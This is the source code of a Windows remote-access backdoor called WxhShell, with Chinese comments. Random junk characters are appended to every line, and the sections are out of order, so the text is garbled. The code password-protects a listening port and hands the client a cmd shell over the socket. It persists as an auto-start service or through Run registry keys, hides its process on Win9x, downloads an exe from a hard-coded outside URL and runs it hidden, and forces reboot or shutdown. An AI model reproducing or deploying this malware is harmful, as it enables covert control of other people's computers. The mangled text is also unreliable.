    } vb-L "S?kC  
    break; (ROurq"  
    } |:s 4#3  
  // 关机 A`4j=OF\  
  case 'd': { :mU,g|~55  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 42?X)n>  
    if(Boot(SHUTDOWN)) Pgs^#(^>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O>z M(I+p  
    else { wY2#xD  
    closesocket(wsh); WVp7H  
    ExitThread(0); dIG(7 ~  
    } )A a98Eu?2  
    break; {4g1Wr5=  
    } n_%JXm#\  
  // 获取shell w<<G}4~u|  
  case 's': { z6 v RTY  
    CmdShell(wsh); %QUV351H  
    closesocket(wsh); ee]PFW28  
    ExitThread(0); MX 2UYZ&  
    break; 'Lft\.C  
  } Uc6BI$Fmz  
  // 退出 jZcjiOX  
  case 'x': { g_}r)CgG|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '!64_OMj'  
    CloseIt(wsh); W :PGj0?  
    break; cy)gN g  
    } 93yJAao9  
  // 离开 +.Kmpw4  
  case 'q': { %Ysu613mz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z<Rz}8s  
    closesocket(wsh); xQC.ap  
    WSACleanup(); A\Q]o#U  
    exit(1); w8*+l0  
    break; 1%|+yu1  
        } ^{["]!f#  
  } Ep0L51Q  
  } `?PZvGi  
$WvI%r  
  // 提示信息 IBY3QG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !JjB,1  
} >b#z o,  
  } ~a8J"Wh  
yOGa W~  
  return; KL!k'4JNY  
} A+3@N99HeH  
[1'`KJ]  
// shell模块句柄 x2.G1  
int CmdShell(SOCKET sock) MI|DOp  
{ C_?L$3 U0  
STARTUPINFO si; ]`&EB~K&NY  
ZeroMemory(&si,sizeof(si)); *A`hKx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ho2o/>Ef3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z.$ncP0s  
PROCESS_INFORMATION ProcessInfo;  &(\z  
char cmdline[]="cmd"; 3=1aMQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6#O n .Q  
  return 0; LbtcZ)D!  
} mCe,(/>l+  
v8,+|+3  
// 自身启动模式 *KF:  
int StartFromService(void) K Ii Vz<  
{ OB8fFd  
typedef struct 'MPt K  
{ 8zGe5Dn9  
  DWORD ExitStatus; HFBGM\R02  
  DWORD PebBaseAddress;  "/6(  
  DWORD AffinityMask; X%xX3e'  
  DWORD BasePriority; B5u0 6O  
  ULONG UniqueProcessId; L 4'@f  
  ULONG InheritedFromUniqueProcessId; <0vQHND,3  
}   PROCESS_BASIC_INFORMATION; `f}c 1  
9ulJZ\cQ  
PROCNTQSIP NtQueryInformationProcess; >fI<g8N D  
/yyed{q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; db:b%1hk:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1agyT  
r80w{[S$  
  HANDLE             hProcess; a_m P$4T  
  PROCESS_BASIC_INFORMATION pbi; 4s~Y qP{K  
IP$^)t[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~" B0P>7  
  if(NULL == hInst ) return 0; (1fE^KF@f  
G5E03xvL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JJq= {;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;_M .(8L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n[CESo%[  
~qLbyzHaB  
  if (!NtQueryInformationProcess) return 0; I)V2cOrXM  
tS8*l2Y`   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LC K   
  if(!hProcess) return 0; 'O8"M  
Zgt, 'T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Miqu  
-<sn+-uE:  
  CloseHandle(hProcess); 3'Q H\t5  
MftW^7W-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {bl&r?[y  
if(hProcess==NULL) return 0; ^6mlE+WY  
Xdsd5 UUM  
HMODULE hMod; |dpOE<f[  
char procName[255]; VjSb>k   
unsigned long cbNeeded; G6_Kid}"q  
K7Kd{9-2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <)n1Z[4  
Axhe9!Fm  
  CloseHandle(hProcess); }XWic88!~  
/}-]n81m  
if(strstr(procName,"services")) return 1; // 以服务启动 BbA>1#i5]  
Cp&lS=  
  return 0; // 注册表启动 aAF:nyV~~0  
} ..3TB=Z#  
#IA[erf:  
// 主模块 CtV$lXxup  
int StartWxhshell(LPSTR lpCmdLine) ^.&uYF&  
{ ++F #Z(p  
  SOCKET wsl; 7m{ 'V`F  
BOOL val=TRUE; 2[LT!TT  
  int port=0; [#$-kd~  
  struct sockaddr_in door; "3LOL/7f  
Xz4!#,z/  
  if(wscfg.ws_autoins) Install(); W*e6F?G  
Pon 2!$  
port=atoi(lpCmdLine); IrjKI.PR  
Aga2 I#1r  
if(port<=0) port=wscfg.ws_port; QK<sibDI  
;&37mO/T  
  WSADATA data; 'ADt<m_$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jn>3(GRGC$  
E< "aUnI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k'&BAC.K,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `QXO+'j4  
  door.sin_family = AF_INET; t8\F7F P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )\l}i%L:  
  door.sin_port = htons(port); $SRpFz5y$  
Yvs)H'n=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *oL?R2#7  
closesocket(wsl); vXLiYWo  
return 1; 63QMv[`,  
} f{FW7T}O2  
y/h~oGxy  
  if(listen(wsl,2) == INVALID_SOCKET) { {*ATY+  
closesocket(wsl); D3$PvX[f  
return 1; 3bu VU& ap  
} e3"GC_*#  
  Wxhshell(wsl); Yw"o_  
  WSACleanup(); "n," >  
tm@&f  
return 0; IkFrzw p  
c^><^LGb  
} ?<]BLkx  
=LDzZ:' X  
// 以NT服务方式启动 @ U'g}K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G`9Ud  
{ \Pi\c~)Pr  
DWORD   status = 0; 9Iq[@v  
  DWORD   specificError = 0xfffffff; *r@7:a5  
b4ZZyw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QxH%4 )?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R22YKXU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7/a[;`i*!  
  serviceStatus.dwWin32ExitCode     = 0; S3EY9:^ C  
  serviceStatus.dwServiceSpecificExitCode = 0; )."_i64  
  serviceStatus.dwCheckPoint       = 0; 6x)7=_:0  
  serviceStatus.dwWaitHint       = 0; P{i\x#  
M' e<\wqm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D)U 9xA)J  
  if (hServiceStatusHandle==0) return; Q&@Ls?pu  
Fm_^7|  
status = GetLastError(); u\ro9l  
  if (status!=NO_ERROR) G|Rsj{2'  
{ 7"@^JxYN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^[,Q2MHCT(  
    serviceStatus.dwCheckPoint       = 0; g(B&A P_e  
    serviceStatus.dwWaitHint       = 0; KV9'ew+M  
    serviceStatus.dwWin32ExitCode     = status; ,7KP  
    serviceStatus.dwServiceSpecificExitCode = specificError; K#_&}C^-jY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <{ GpAf8-  
    return; _VGAh:v  
  } -KhNsUQk  
z0+LD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E;/WP!/.  
  serviceStatus.dwCheckPoint       = 0; H?*EQK`7?0  
  serviceStatus.dwWaitHint       = 0; 'i;1n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =5/ow!u8  
} "XfCLc1 T  
y$|%K3  
// 处理NT服务事件,比如:启动、停止 yhv(KI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q@?8-  
{ ug{@rt/"Z  
switch(fdwControl) ~~a,Fyko2  
{ [Gop-Vi/~  
case SERVICE_CONTROL_STOP: 0uV3J  
  serviceStatus.dwWin32ExitCode = 0; ^ gMoW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #%O|P&rA  
  serviceStatus.dwCheckPoint   = 0; z/!LC;(  
  serviceStatus.dwWaitHint     = 0; Z<L}ur  
  { 7/+I"~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;$,=VB:'  
  } [~*5uSG  
  return; p.6C.2q~s]  
case SERVICE_CONTROL_PAUSE: -} Zck1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @W6:JO  
  break; k>E^FB=  
case SERVICE_CONTROL_CONTINUE: fb-Lp#!T39  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q;Tdqv!Ju  
  break; WD# 96V  
case SERVICE_CONTROL_INTERROGATE: |eykb?j`  
  break; uzg(C#sp  
}; WJWi'|C4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k-IL%+U  
} .2"-N5Z  
m:B9~ lbT+  
// 标准应用程序主函数 E@ J/_l;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M2H +1ic  
{ (StX1g'  
60,z!Vv  
// 获取操作系统版本 T<yAfnTb`  
OsIsNt=GetOsVer(); 01=nS?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M.fAFL  
'yxN1JF  
  // 从命令行安装 ;\j7jz^uC  
  if(strpbrk(lpCmdLine,"iI")) Install(); zU7co.G  
WX .Ax$fT  
  // 下载执行文件 _D~l2M  
if(wscfg.ws_downexe) { K&ZN!VN/p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g>G+?PY  
  WinExec(wscfg.ws_filenam,SW_HIDE); m}A|W[p<  
} TOapq9B]  
-p.c8B  
if(!OsIsNt) { 6&| hpp#[  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y`F)UwKK  
HideProc(); $B%wK`J  
StartWxhshell(lpCmdLine); QO2@K1Y  
} (xpt_]Q!H  
else J^<Gi/:*^  
  if(StartFromService()) fF6bEJl3  
  // 以服务方式启动 /]j^a:#"6t  
  StartServiceCtrlDispatcher(DispatchTable); ~,ZU+  
else P.bxq50  
  // 普通方式启动 JLd-{}A""-  
  StartWxhshell(lpCmdLine); e}dGK=`  
,w`g + 9v  
return 0; >~@O\n-t  
} m)AF9#aT2  
!/nXEjW?  
lXtsnQOOK  
riR(CJ}Ff  
=========================================== LMKhtOZ?  
'Qdea$o  
i;Dj16h  
Q g~cYwX  
7 Tb[sc'  
tGE=!qk  
" Cj%n?-  
;w/@_!~  
#include <stdio.h> >?<S(  
#include <string.h> Tp46K\}Uf  
#include <windows.h> Gj_7wP$  
#include <winsock2.h> Q XSS  
#include <winsvc.h> |I[/Fl:  
#include <urlmon.h> "; 1@f"kw  
P~ : N  
#pragma comment (lib, "Ws2_32.lib") g(_xo\  
#pragma comment (lib, "urlmon.lib") "QD>m7  
"I3 #/~q  
#define MAX_USER   100 // 最大客户端连接数 GCf,Gfmr  
#define BUF_SOCK   200 // sock buffer vA3wn><  
#define KEY_BUFF   255 // 输入 buffer dx@|M{jz'  
|`ya+/ff+  
#define REBOOT     0   // 重启  `j1oxJm  
#define SHUTDOWN   1   // 关机 CvHE7H|-{  
Y~ xo=v(  
#define DEF_PORT   5000 // 监听端口 AH{#RD  
6k_Uq.<X  
#define REG_LEN     16   // 注册表键长度 ;NOmI+t0w&  
#define SVC_LEN     80   // NT服务名长度 ;,8 )%[  
3CzF@t;5  
// 从dll定义API 8`<e\g7-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >.M>,m\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X=+|(A,BdY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w73?E#8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fB80&G9  
6ao~f?JZ  
// wxhshell配置信息 aFaioE#h(  
struct WSCFG { ]A ;.}1'  
  int ws_port;         // 监听端口 yk y% +@2q  
  char ws_passstr[REG_LEN]; // 口令 lD^c_b  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0G31Kou  
  char ws_regname[REG_LEN]; // 注册表键名 &szYa-K*  
  char ws_svcname[REG_LEN]; // 服务名 V/3@iOwD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7u{V1_ n1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^Q6?T(%$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2E8G 5?qe)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no He,, bq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @R-11wP)M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T>f6V 5  
OlB9z  
}; b'``0OB)  
z&cM8w:  
// default Wxhshell configuration 7Db}bDU1 |  
struct WSCFG wscfg={DEF_PORT, Jd^Lnp6?  
    "xuhuanlingzhe", FDFwx|  
    1, <UF0Xc&X'  
    "Wxhshell", iC3C~?,7  
    "Wxhshell", |Fz ^(US  
            "WxhShell Service", o$eo\X?J?  
    "Wrsky Windows CmdShell Service", QChncIqc  
    "Please Input Your Password: ", Q 0G5<:wc  
  1, gu6%$z  
  "http://www.wrsky.com/wxhshell.exe", p}3` "L=  
  "Wxhshell.exe" ue^HhZ9  
    }; GE`1j'^-  
N]eBmv$|  
// 消息定义模块 3&>0'h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wVqp')e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EK= y!>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [UXN= 76N  
char *msg_ws_ext="\n\rExit."; T/A2Y+@N;  
char *msg_ws_end="\n\rQuit."; 2"HTD|yy  
char *msg_ws_boot="\n\rReboot..."; ZNne 8  
char *msg_ws_poff="\n\rShutdown..."; 4(*PM&'R  
char *msg_ws_down="\n\rSave to "; )Gavjj&uJ  
DuNindo 8  
char *msg_ws_err="\n\rErr!"; `m#-J;la  
char *msg_ws_ok="\n\rOK!"; YA@MLZm  
c7~R0nP  
char ExeFile[MAX_PATH]; cnS;9=,&  
int nUser = 0; 8\"Gs z  
HANDLE handles[MAX_USER]; Y)DAR83  
int OsIsNt; a2Nxpxho  
Unv'm5/L  
SERVICE_STATUS       serviceStatus; L2+cVR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y>.t[*zT  
$|xSM2  
// 函数声明 n\)1Bz  
int Install(void); <}:` Y"  
int Uninstall(void); 4(s HUWT  
int DownloadFile(char *sURL, SOCKET wsh); d!w3LwZ  
int Boot(int flag); u7^(?"x  
void HideProc(void); ~+j2a3rv-{  
int GetOsVer(void); P3`$4p?  
int Wxhshell(SOCKET wsl); 0PqI^|!  
void TalkWithClient(void *cs); ' Ut4=@)  
int CmdShell(SOCKET sock); #M{qMJHDo  
int StartFromService(void); ,#FP]$FK  
int StartWxhshell(LPSTR lpCmdLine); gyD;kn\CP  
i(pHJP:a:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )l$}plT4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $'I&u  
D HT^.UM28  
// 数据结构和表定义 /2zan}  
SERVICE_TABLE_ENTRY DispatchTable[] = ,,BP}f+l$  
{ =/_uk{  
{wscfg.ws_svcname, NTServiceMain}, _XT'h;m  
{NULL, NULL} $,2T~1tE  
}; Bcarx<P-p  
4xEw2F  
// 自我安装 mE`qA*=?  
int Install(void) SOq:!Qt  
{ b~}$Ch3ymW  
  char svExeFile[MAX_PATH]; 9sT5l"?g  
  HKEY key; $:%E<j 4Dn  
  strcpy(svExeFile,ExeFile); }04mJY[  
JLnv O  
// 如果是win9x系统,修改注册表设为自启动 ka!v(j{E  
if(!OsIsNt) { ,5"(m?[m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aUzCKX%>C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bq9w@O  
  RegCloseKey(key); u1L^INo/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }rI:pp^KS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p09p/  
  RegCloseKey(key); 'Gqv`rq&  
  return 0; C&>*~  
    } @`dg:P*[  
  } >xabn*Kq  
} #kASy 2t  
else { _<LL@IX  
@U18Dj[  
// 如果是NT以上系统,安装为系统服务 MNWI%*0LO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Fu_I0z  
if (schSCManager!=0) VK]U*V1  
{ oR&z,%0wMK  
  SC_HANDLE schService = CreateService jtlRom}  
  ( *9"x0bth  
  schSCManager, s6@mXO:H^  
  wscfg.ws_svcname, o^vX\a?`u  
  wscfg.ws_svcdisp, l@Vv%w9H  
  SERVICE_ALL_ACCESS, uyxYCc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g/JF(nkP  
  SERVICE_AUTO_START, HK8sn1j  
  SERVICE_ERROR_NORMAL, gr SF}y!3  
  svExeFile, m9oOH5@K~  
  NULL, P2a5<#_|  
  NULL, IGcq*mR=  
  NULL, :${tts2g  
  NULL, # G 77q$  
  NULL UMR?q0J  
  );  vUJ; D  
  if (schService!=0) 0mujf  
  { /@k#tdj  
  CloseServiceHandle(schService); M&j|5UH%.  
  CloseServiceHandle(schSCManager); <mE`<-$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X n$ZA-  
  strcat(svExeFile,wscfg.ws_svcname); R,G*]/r`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :R,M Y"(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s:}? rSI  
  RegCloseKey(key); 'ZW(Hjrd  
  return 0; }I&.xzJ  
    } ZrTB%  
  } X+aQ 7^"s  
  CloseServiceHandle(schSCManager); \]V:>=ry>  
} C~B ]@xxK)  
} ^;RK-)  
[|OII!"  
return 1; P[ WkW#  
} Gv &G2^  
w!7ApEH1  
// 自我卸载 Sp80xV_B  
int Uninstall(void) (c(F1=K  
{ ZpVkgX4  
  HKEY key; Nv7-6C6<  
}+9?)f{?@  
if(!OsIsNt) { KOS0Du  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H\R a*EO~j  
  RegDeleteValue(key,wscfg.ws_regname); %hsCB .r>|  
  RegCloseKey(key); i]%f94  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e~SK*vR%]  
  RegDeleteValue(key,wscfg.ws_regname); Nnl3r@  
  RegCloseKey(key); YpDJ(61+  
  return 0; 172G  
  } _-TplGSO=c  
} $+'H000x  
} T+v*@#iJ_  
else { WFOJg&  
HeAXZA,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dtC@cK/,D  
if (schSCManager!=0) V.P<>~W  
{ TlS? S+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B-Jd|UE`u  
  if (schService!=0) sgp.;h'  
  { 'RMUjJ-!  
  if(DeleteService(schService)!=0) { WR)=VE   
  CloseServiceHandle(schService); ^)Hf%  
  CloseServiceHandle(schSCManager); Plp.\N%f3  
  return 0; R@\}iyM  
  } }`B .(3n  
  CloseServiceHandle(schService); _]`7et\=  
  } [s>3xWZ+a  
  CloseServiceHandle(schSCManager); >ou= }/<  
} ?{S>%P A_B  
} .>B'oD  
2!^=G=H/  
return 1; 8%7%[WC#  
} &:&89<C'  
?bB>}:~j)  
// 从指定url下载文件 *p}mn#ru-  
int DownloadFile(char *sURL, SOCKET wsh) gF{ehU%  
{ ^3$l!>me  
  HRESULT hr; q H}8TC  
char seps[]= "/"; lGd'_~'=  
char *token; 1MLL  
char *file; OyZR&,q  
char myURL[MAX_PATH]; JN0h3nZ_  
char myFILE[MAX_PATH]; + Q-b}  
~=|}!A(  
strcpy(myURL,sURL); N)X Tmh2v|  
  token=strtok(myURL,seps); '47 b"uV  
  while(token!=NULL) !g|O.mt  
  { !DZ=`a?y  
    file=token; UX)GA[WI  
  token=strtok(NULL,seps); _Je 4&KU  
  } }%_|k^t  
o+a=  
GetCurrentDirectory(MAX_PATH,myFILE); ~rb0G*R>  
strcat(myFILE, "\\"); P8d  
strcat(myFILE, file); +~^S'6yB  
  send(wsh,myFILE,strlen(myFILE),0); n[3z_Q I  
send(wsh,"...",3,0); ,9P-<P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U**8^:*y#:  
  if(hr==S_OK) "6f`hy  
return 0; +/ukS6>gr  
else M~:_^B  
return 1; KZppQ0  
?"x4u#x  
} C}8#yAS9M  
b(*\4n  
// 系统电源模块 RQ,#TbAe  
int Boot(int flag) D\Ak-$kJ^  
{ QL/KY G  
  HANDLE hToken; A[Mke  
  TOKEN_PRIVILEGES tkp; t? GH V3V  
 Z1 D  
  if(OsIsNt) { u"v7shRp:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); / FcRp,"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v Y[s#*+  
    tkp.PrivilegeCount = 1; jrib"Bh3,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U#3N90,N=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9-42A7g^C  
if(flag==REBOOT) { nGF +a[Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }_D.Hy5  
  return 0; g*V.u]U!i  
} (T%F^s5D  
else { 1q}L O2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V:n0BlZ,B  
  return 0; a"vzC$Hxd  
} v)5;~.+%  
  } [6!k:-t+  
  else { }t)+eSUA  
if(flag==REBOOT) { Fw<"]*iu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -b-a21,m>  
  return 0; .zO^"mXjS  
} n7!T{+ge  
else {  +A3/^C0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $J7V]c*-b  
  return 0; ?2<) Jw  
} mfr aw2H  
} $C[z]}iOi  
X7*F~LFr j  
return 1; 46C%at M0}  
} cE\w6uBR1  
]rG=\>U3~  
// win9x进程隐藏模块 R]"Zv'M(AM  
void HideProc(void) qed_PsI  
{ 7 Lm9I  
:5k* kx#y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Sy8t2lk  
  if ( hKernel != NULL ) =3bk=vy  
  { ;8]HCC@:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s%jBIeh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J n.7W5v  
    FreeLibrary(hKernel); iXWHI3  
  } Wmbc `XC  
w  S  
return; q<09]i  
} SyL"Bmi  
jX7K- L  
// 获取操作系统版本 # &v4c  
int GetOsVer(void) c9|4[_&B~  
{ )M8d\]  
  OSVERSIONINFO winfo; ?0Q3F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;As~TGiT  
  GetVersionEx(&winfo); %S312=w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C @Ts\);^  
  return 1; 3qWrSziD  
  else ,cxqr3 o  
  return 0; (qA F2&  
} db )2>  
2Io| ?  
// 客户端句柄模块 rc=E%Qv%?  
int Wxhshell(SOCKET wsl) 392V\qtS  
{ 7?fgcb3  
  SOCKET wsh; x?Sx cQP  
  struct sockaddr_in client; SgU@`Pb  
  DWORD myID; 534pX7dg  
-h8mJ D%Oi  
  while(nUser<MAX_USER)  ^*P?gG  
{ eXl?f_9  
  int nSize=sizeof(client); @fd<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #aqnj+  
  if(wsh==INVALID_SOCKET) return 1; sUF$eVAT  
h[(YH ;Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^A ]4  
if(handles[nUser]==0) Ijh RSrCv  
  closesocket(wsh); O@$>'Z  
else 2-F7tcya|  
  nUser++; xU\!UVQ/  
  } Ec7xwPk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A+/Lt>+AS  
Q4mtfpiDx  
  return 0; "5JMk -2k  
} G]B0LUT6c  
>\JP X  
// 关闭 socket oIrc))j,$  
void CloseIt(SOCKET wsh) ckX8eg!f  
{ BFNO yv  
closesocket(wsh); ,88B@a  
nUser--; dz#"9i5b  
ExitThread(0); oCo~,~kTR  
} .\ bJ,of9  
RY5e%/bg~U  
// 客户端请求句柄 wU%uO/sU9  
void TalkWithClient(void *cs) Md6u4c  
{ ~criZI/  
4f j}d.?  
  SOCKET wsh=(SOCKET)cs; orJ|Q3c)d  
  char pwd[SVC_LEN]; hTBJ\1 -  
  char cmd[KEY_BUFF]; {JWixbA  
char chr[1]; T)tr"<F5NP  
int i,j; [)`*k#.=  
yK{P%oh)  
  while (nUser < MAX_USER) { RlfI]uCDM  
X}[1Y3~y  
if(wscfg.ws_passstr) {  ZPf&4#|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <@7j37,R7V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); za6 hyd^  
  //ZeroMemory(pwd,KEY_BUFF); R655@|RT  
      i=0; R/{h4/+vJ  
  while(i<SVC_LEN) { X[J<OTj`$  
eGMw:H  
  // 设置超时 (F'~K,0  
  fd_set FdRead; 2`i &6iz  
  struct timeval TimeOut; nu^@}|UG  
  FD_ZERO(&FdRead); 5]{rim  
  FD_SET(wsh,&FdRead); !jP[=  
  TimeOut.tv_sec=8; ]FR#ZvM>x  
  TimeOut.tv_usec=0; 6?"Gj}|r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7:~3B-Tb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v0'z''KM!  
Mx}r! Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,$]m1|t@z  
  pwd=chr[0]; +^:uPW^U  
  if(chr[0]==0xd || chr[0]==0xa) { K`=U5vG^  
  pwd=0; }r04*P(  
  break; ~U<j_j)z4.  
  } Fmn_fW6  
  i++; ",YNphjAn  
    } qLBQ!>lR  
8Ogg(uS70'  
  // 如果是非法用户,关闭 socket 8?~>FLWTXZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SP0ueAa}  
} ^C,rN;mX'  
FUI/ A >  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q8TR@0d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `DSDuJw%  
319 4]  
while(1) { QP%AJ[3ea%  
.9DhD=8aIO  
  ZeroMemory(cmd,KEY_BUFF); , -])[u  
JNU9RxR  
      // 自动支持客户端 telnet标准   u}'m7|)8  
  j=0; d3oRan}z  
  while(j<KEY_BUFF) { )m-(-I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *o=Z~U9z  
  cmd[j]=chr[0]; x>i =  
  if(chr[0]==0xa || chr[0]==0xd) { 8U#14U5rS  
  cmd[j]=0; *`s*l+0b  
  break; Mf5kknYuL9  
  } @sR/l;  
  j++; <MxA;A  
    } }2=~7&)  
({4?RtYm  
  // 下载文件 s]vsD77&  
  if(strstr(cmd,"http://")) { &~"N/o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Kj"n Id)  
  if(DownloadFile(cmd,wsh)) p@$92> '  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o/U}G,|G  
  else ='#7yVVcs  
